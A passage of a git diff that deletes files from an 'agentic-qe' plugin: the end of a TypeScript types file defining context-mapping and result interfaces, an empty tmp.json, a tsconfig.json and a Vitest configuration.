- description: string;
-}
-
-// =============================================================================
-// Context Mapping Types
-// =============================================================================
-
-/**
- * Mapping between QE context and V3 domains
- */
-export interface ContextMapping {
- /** QE bounded context */
- qeContext: BoundedContext;
- /** V3 domains this context integrates with */
- v3Domains: V3Domain[];
- /** Agents in this context */
- agents: string[];
- /** Memory namespace for this context */
- memoryNamespace: string;
- /** Security level required */
- securityLevel: SecurityLevel;
-}
-
-// =============================================================================
-// Result Types
-// =============================================================================
-
-/**
- * Generic result type for operations
- */
-export interface QEResult<T> {
- /** Success status */
- success: boolean;
- /** Result data if successful */
- data?: T;
- /** Error if failed */
- error?: QEError;
- /** Warnings */
- warnings?: string[];
- /** Duration in ms */
- duration?: number;
-}
-
-/**
- * QE error structure
- */
-export interface QEError {
- /** Error code */
- code: string;
- /** Error message */
- message: string;
- /** Error details */
- details?: Record<string, unknown>;
- /** Stack trace if available */
- stack?: string;
-}
diff --git a/v3/plugins/agentic-qe/tmp.json b/v3/plugins/agentic-qe/tmp.json
deleted file mode 100644
index e69de29bb2..0000000000
diff --git a/v3/plugins/agentic-qe/tsconfig.json b/v3/plugins/agentic-qe/tsconfig.json
deleted file mode 100644
index 308d96c774..0000000000
--- a/v3/plugins/agentic-qe/tsconfig.json
+++ /dev/null
@@ -1,31 +0,0 @@
-{
- "compilerOptions": {
- "target": "ES2022",
- "module": "NodeNext",
- "moduleResolution": "NodeNext",
- "lib": ["ES2022"],
- "outDir": "./dist",
- "rootDir": "./src",
- "declaration": true,
- "declarationMap": true,
- "sourceMap": true,
- "strict": true,
- "strictNullChecks": true,
- "strictFunctionTypes": true,
- "strictPropertyInitialization": true,
- "noImplicitAny": true,
- "noImplicitReturns": true,
- "noImplicitThis": true,
- "noUnusedLocals": false,
- "noUnusedParameters": false,
- "esModuleInterop": true,
- "skipLibCheck": true,
- "forceConsistentCasingInFileNames": true,
- "resolveJsonModule": true,
- "isolatedModules": true,
- "allowSyntheticDefaultImports": true,
- "noEmitOnError": false
- },
- "include": ["src/index.ts", "src/plugin.ts", "src/types.ts", "src/schemas.ts", "src/interfaces.ts"],
- "exclude": ["node_modules", "dist", "__tests__", "src/bridges", "src/tools"]
-}
diff --git a/v3/plugins/agentic-qe/vitest.config.ts b/v3/plugins/agentic-qe/vitest.config.ts
deleted file mode 100644
index 19da3e84e3..0000000000
--- a/v3/plugins/agentic-qe/vitest.config.ts
+++ /dev/null
@@ -1,27 +0,0 @@
-import { defineConfig } from 'vitest/config';
-
-export default defineConfig({
- test: {
- environment: 'node',
- include: ['__tests__/**/*.test.ts'],
- globals: true,
- // Integration and security tests need longer timeout
- testTimeout: 30000,
- // Coverage configuration
- coverage: {
- enabled: false,
- provider: 'v8',
- reporter: ['text', 'json', 'html'],
- include: ['src/**/*.ts'],
- exclude: [
- 'src/**/*.d.ts',
- 'src/**/types.ts',
- 'src/**/__tests__/**',
- ],
- },
- // Performance benchmarks
- benchmark: {
- include: ['__tests__/**/*.bench.ts'],
- },
- },
-});